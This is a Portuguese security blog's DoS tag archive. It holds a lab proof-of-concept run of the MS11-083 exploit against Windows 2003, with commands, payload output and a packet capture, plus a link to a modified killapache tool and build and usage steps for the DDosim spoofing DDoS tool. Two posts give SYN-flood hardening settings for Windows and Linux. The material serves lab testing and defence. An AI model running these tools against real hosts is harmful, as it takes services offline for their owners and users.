Tag Archive: Dos


PoC MS11-083

Filed Under: Hacking, Security by admin — Leave a comment
14 de novembro de 2011

Informado pela sans..

An integer overflow in the TCP/IP stack allows random code execution from a stream of UDP packets sent to a closed port. Permission for the attacker are at kernel level.

Depois de sair o exploit para a vulnerabilidade MS11-083 realizei a prova de conceito para verificar o que ocorre na tal situação.

A Mirosoft informou que para se explorada será necessário enviar aproximadamente 2^32 pacotes UDP para obter êxito na exploração.

No lab temos um Debian que faz o ataque e o Windows 2003 Standard com 1Gb de memória RAM 4 CPU’s que será atacado.

O exploit divulgado publicamente: http://packetstormsecurity.org/files/106873/winnuke2011.sh.txt , utilizei somente o código em C .

 

Compilando….

debian:~/2003# gcc -lpthread MS11-083.c -o MS11-083

debian:~/2003# ./MS11-083
[+] MS11-083 DoS/PoC exploit
[!] Usage : ./MS11-083 <server> <port>

 

No Windows.. tudo sobre controle..

 

Antes do Ataque

Antes do Ataque

 

 

Começamos o ataque…

debian:~/2003# ./MS11-083 192.168.10.131 1000
[+] MS11-083 DoS/PoC exploit
[-] Sending payload ‘ZSW”<kc’ULJ=VK%XE-cP0*%(‘bORT=”;D”[c=S'
[-] Thread number 0 started
[-] Sending payload ’60&a;%=^,7FKMc[D=J>90J6Y7DR]*PC<&8′.%) ‘
[-] Thread number 1 started
[-] Sending payload ‘dCJe-f+65f9@NJhH-c”!?XU% (7#TDOhjIa+`=_)’
[-] Thread number 2 started
[-] Sending payload ‘/;.S”0:#dd=kSACiD=S!OLO#V/ZLP<]L`?,/D$’
[-] Thread number 3 started
[-] Sending payload ‘”S.Q]=JOT” (8%O)-4bF+NeN I@**A<.Di/RV\5>’
[-] Thread number 4 started
[-] Sending payload ‘Ag0BMF”FF[ aB]*9*UQi<2H!8X&LieC>`U1AKQ7B’
[-] Thread number 5 started
[-] Sending payload ‘,=aTOe9-]”A&,B-;:b,f0<@BVX#VbM’WQD;K_f’
[-] Thread number 6 started
[-] Sending payload ‘AH2M R!h\+#H>e.VD-bDI;1″JJ’ JeQG6Sg2C’
[-] Thread number 7 started
[-] Sending payload ‘*X-KOSYQF!86#M53C^f1Z+jM=*+[.e56&0h)kiQ'
[-] Thread number 8 started

 

Em questão de segundos veremos o gráfico de performace do Windows..

Após o ataque

Após o ataque

Em outro console temos a saída do tcpdump

debian:~/2003# tcpdump -X -vvv -i eth0 dst host 192.168.10.131
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
23:47:47.221788 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221846 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221850 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221853 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221856 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.

 

Nesta situação temos somente 1 computador atacando, o script esta utilizando toda a CPU do Debian.

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
3541 root         20   0  273m    976  484   S  97.2     0.2           0:16.40 MS11-083

 

No atual lab não conseguimos causar um DoS no alvo, mas de acordo com os resultados vimos que isso seria possível seeeeeeeeee… o firewall estivesse desabilitado….

Agora vamos habilitar o firewall do windows, e voltaremos ao ataque e os gráficos…

 

Firewalled

Firewalled

 

Ou seja, o ataque pode ser mitigado sem muitos problemas. Para completar os 2^32 pacotes enviados levaria aproximadamente 52 dias, paramos por aqui sem a verdadeira prova que seria possível executar um código remotamente.

Mais informações sobre o Bug: http://technet.microsoft.com/en-us/security/bulletin/ms11-083

Resumindo, sempre firewall ativado e sistema atualizado!

Outro exploit e mais infos pode ser encontrado também em: http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture

 

[]‘s

Sergito

Tags: , , , ,
Comment

killapache redone

Filed Under: Hacking, Security by admin — Leave a comment
3 de outubro de 2011

Depois do killapache codado pelo kingcope, saiu publicamente hoje a nova versão modificada por “S4(uR4″. Postado no pastebin, segue link abaixo:

http://pastebin.com/gWB76qmj

 

[]‘s

Sergito

Tags: ,
Comment

DDosim – DDos tool

Filed Under: Hacking, pentest by admin — Leave a comment
9 de novembro de 2010

Realizando mais testes com ferramentas de DDoS, me deparei com a DDosim, uma ferramenta diferente das outras comentadas aqui pois ela chega até a camada 7 permitindo assim enviar algum tipo de parâmetro como HTTP_VALID ou até mesmo um SMTP_EHLO, outra diferença é que a ferramenta permite um ataque distribuído com origem de vários ip’s aleatórios e especifique a quantidade de threads a serem utilizadas no processamento.

Nos testes realizados no lab, a quantidade de conexões abertas no alvo foram absurdas, vale a pena conferir!!

Site do Projeto: http://sourceforge.net/projects/ddosim/files/

Compilando na Debian: (Necessita do pacote libnet0-dev)

debian:~/ddosim-0.2# ./configure

debian:~/ddosim-0.2# make

debian:~/ddosim-0.2# make install
debian:~/ddosim-0.2# ./ddosim
# DDOSIM:  Layer 7 DDoS Simulator v0.2
# Author:  Adrian Furtuna  <adif2k8@gmail.com>
Usage: ./ddosim
-d IP           Target IP address
-p PORT         Target port
[-k NET]         Source IP from class C network (ex. 10.4.4.0)
[-i IFNAME]      Output interface name
[-c COUNT]       Number of connections to establish
[-w DELAY]       Delay (in milliseconds) between SYN packets
[-r TYPE]        Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO
[-t NRTHREADS]   Number of threads to use when sending packets (default 1)
[-n]             Do not spoof source address (use local address)
[-v]             Verbose mode (slower)
[-h]             Print this help message
Exemplos:
./ddosim   -d 172.16.0.11   -p 110   -c 0  -i eth0
./ddosim   -d 192.168.1.2   -p 25   -k 10.0.0.0   -c 0   -r SMTP_EHLO  -i eth0
A criatividade vem de vc!!
[]‘s
Sergito
Tags: , ,
Comment

Parando ataques Synflood em Windows

Filed Under: Security, Windows by admin — 2 Comments
28 de fevereiro de 2010

Há algumas semanas atrás eu postei como mitigar ataques synflood em linux, mudança de parâmetros do kernel e talz, nada muito ajuda quando o ataque é bem feito. O post de hoje ajuda a mitigar ataques synflood em windows, algo que eu não acredito muito mas pode ajudar em certas situações. ;)

O conhecido BackLog…

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v EnableDynamicBacklog /t REG_DWORD /d 1

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v MinimumDynamicBacklog /t REG_DWORD /d 20

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v MaximumDynamicBacklog /t REG_DWORD /d 20000

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v DynamicBacklogGrowthDelta /t REG_DWORD /d 10

Proteção contra SynFlood…

reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v SynAttackProtect /t REG_DWORD /d 1

Diminuindo o tempo das conexões abertas…

reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v TcpMaxConnectResponseRetransmissions /t REG_DWORD /d 2

Existe também um módulo para o IIS onde é possível proteger-se contra DoS e ataques brute force bloqueando ip’s dinamicamente, segue abaixo as referências:

http://learn.iis.net/page.aspx/548/using-dynamic-ip-restrictions/

Referências…

http://support.microsoft.com/default.aspx?scid=kb;[LN];142641

Para Solaris, HP-UX etc.. paper muito Bom!!

http://www.securityfocus.com/infocus/1729

[]‘s Sergito

Tags: , ,
Comment

syn flood attack

Filed Under: Linux, Security by admin — 1 Comment
25 de janeiro de 2010

Pesquisando na net alguns parâmetros de kernel do linux para evitar/contornar um ataque de syn flood, achei algumas modificações interessantes a ser realizadas no seu firewall linux. São parâmetros que alteram o tamanho da fila syn, diminuir o tempo de manutenção da fila entre outros, segue abaixo os comentários:

echo 3 > /proc/sys/net/ipv4/tcp_synack_retries
Para abrir o outro lado da conexão, o kernel envia um SYN com ACK agregado a ele, para
reconhecer o SYN recebido anteriormente. Essa é a parte 2 do handshake de três vias.
Esse parâmetro determina o número de pacotes SYN+ACK enviados antes de o kernel liberar a conexão.

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

echo 4096 > /proc/sys/net/core/netdev_max_backlog
echo 4096 > /proc/sys/net/core/netdev_max_backlog
echo 4096 > /proc/sys/net/ipv4/tcp_max_syn_backlog
Número máximo de requisições de conexões lembradas, que ainda não recebeu um ACKnowledgment de clientes conectando. O valor padrão é 1024 para sistemas com mais de 128MB de memória, e 128 para maquinas com baixa memória. Se o servidor sofrer de sobrecarga, tente aumentar esse número. Aviso! Se você torná-lo maior que 1024, seria melhor alterar TCP_SYNQ_HSIZE em include/net/tcp.h para manter TCP_SYNQ_HSIZE*16 <= tcp_max_syn_backlog e recompilar o kernel.

echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout
O tempo para manter o soquete no estado FIN-WAIT-2, se ele foi fechado pelo nosso lado. O par pode estar quebrado e nunca fechar de seu lado, ou mesmo morrido inesperadamente. O valor padrão é 60 segundos. Valor normal usado no kernel 2.2 era 180 segundos, você pode restaurá-lo, mas lembre-se que se sua maquina estiver o servidor WEB sob carga, você corre o riso de estouro de memória com kilotons de soquetes mortos, os soquetes FIN-WAIT-2 são menos perigosos que os soquetes FIN-WAIT-1, porque eles comem 1,5K de memória máxima, mas eles tendem a viver mais tempo.

echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time
Quão freqüente o TCP envia mensagens keepalive quando o keepalive é habilitado. O padrão é 2 horas.

Se a situação for grave mesmo, vale a pena alterar para as configurações abaixo:
echo 1 > /proc/sys/net/ipv4/tcp_synack_retries
echo 1 > /proc/sys/net/ipv4/tcp_syn_retries
Números de pacotes SYN que o kernel enviará antes de liberar nova conexão.

echo 8192 > /proc/sys/net/ipv4/tcp_max_syn_backlog

Mesmo depois de tudo isso, não foi o suficiente para barrar o C4. =/

[]‘s Sergito

Tags: ,
Comment